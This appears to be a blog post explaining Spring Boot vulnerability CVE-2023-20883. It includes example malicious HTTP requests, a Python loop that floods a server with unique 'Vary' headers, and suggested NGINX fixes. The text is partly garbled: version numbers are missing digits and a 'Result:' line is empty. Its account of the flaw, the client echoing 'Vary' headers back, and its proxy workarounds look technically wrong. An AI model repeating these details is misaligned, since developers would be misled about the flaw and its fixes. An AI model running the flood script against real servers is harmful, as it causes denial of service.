Spring Boot is one of the most popular frameworks for building modern Java applications. However, with popularity comes the need for strong security. In mid-2023, a new vulnerability was discovered that affects many Spring Boot applications: CVE-2023-20883.
This post will walk you through what CVE-2023-20883 is, how attackers can exploit it for denial-of-service (DoS), which Spring Boot versions are vulnerable, and what developers can do to fix it. We'll even look at some simple code examples and show you how an exploit works.
What Is CVE-2023-20883?
CVE-2023-20883 is a security vulnerability in the Spring Boot web framework that can allow an attacker to crash your web server or make it unusable ("denial-of-service" or DoS), especially when your app is running behind a caching reverse proxy like NGINX, Varnish, or a CDN.
Affected Versions
| Spring Boot Version | Status |
|---------------------|----------------|
| 3.. - 3..6 | Vulnerable |
| 2.7. - 2.7.11 | Vulnerable |
| 2.6. - 2.6.14 | Vulnerable |
| 2.5. - 2.5.14 | Vulnerable |
| Older versions | Vulnerable |
If you're running any of these versions with Spring MVC and you're behind a reverse proxy cache, you could be at risk.
The Problem: Reverse Proxy Cache + Headers
Many web applications run behind a "reverse proxy" (like NGINX) that caches web pages to speed things up. The HTTP specification says that if a response doesn't include certain headers, a proxy cache will treat the response as cacheable.
But if an attacker controls which headers are sent (like Vary), they might trick the cache into storing and re-serving the same content for everyone, possibly outdated or wrong responses, or flood the cache provider with too many variants, overloading it—a classic "cache poisoning" or "DoS by cache pollution".
In some Spring Boot versions, user-inputted HTTP headers in requests can make it all the way through and become Vary headers in the response, unchecked. This should not happen.
How Attackers Exploit This (With Example Requests)
Let's say you run a Spring Boot app at https://myapp.com, and it's protected by a NGINX reverse proxy. Your app has a simple REST controller:
@RestController
@RequestMapping("/profile")
public class ProfileController {
@GetMapping("/{id}")
public String getProfile(@PathVariable String id) {
return "Profile page for user " + id;
}
}
The attacker sends thousands of requests like this
GET /profile/1 HTTP/1.1
Host: myapp.com
Vary: x-evil-header
*or an even more evil variant:*
GET /profile/1 HTTP/1.1
Host: myapp.com
Vary: zaaaaaaaaaaaa... (10,000 times)
Each time, they change the Vary header to something unique (like an insanely long string). Spring Boot echoes the Vary header back in the response. Your cache now thinks *every single request* is a separate one that must be stored, even though it's always the same resource.
Result:
Here's a demonstration in Python of how a basic exploit script might look
import requests
url = 'https://myapp.com/profile/1'
for i in range(10000):
# Every request has a unique 'Vary' header value
headers = {'Vary': f"evil-{i}"}
requests.get(url, headers=headers)
WARNING: Do not run this against any server you don't own. This is just to show how easily this can be abused.
Fixes and Workarounds
Spring Boot 3..7, 2.7.12, 2.6.15, 2.5.15 and later have fixed this vulnerability. The fix ensures that headers like Vary are validated and not blindly echoed from user input to the client. See the official advisory for details.
Upgrade Now
Best way:
Upgrade to the latest supported Spring Boot version!
- Check the Spring Boot releases for patched versions.
If you cannot upgrade right away
- Filter incoming requests: Block or sanitize headers like Vary before they reach your Spring app.
Example NGINX config snippet
proxy_set_header Vary "";
or, to drop user-supplied header
ignore_invalid_headers on;
Check Your App
- Test your endpoints by adding custom headers and see if dangerous ones like Vary are reflected back.
References
- Spring Official Advisory on CVE-2023-20883
- Spring Boot Release Notes
- NVD (National Vulnerability Database) Entry
- Spring Blog on Security Updates
Conclusion
CVE-2023-20883 shows how even small issues like unvalidated headers can become big security risks—especially when combining modern frameworks (like Spring Boot) with infrastructure (reverse proxies, caches). If you're running a vulnerable version, upgrade immediately, or apply the workarounds above. Stay alert, patch fast, and keep your users and servers safe!
*Feel free to share this post with your development and security teams. If you have questions or need help auditing your Spring Boot setup, drop a comment or message.*
Timeline
Published on: 05/26/2023 17:15:00 UTC
Last modified on: 06/08/2023 14:40:00 UTC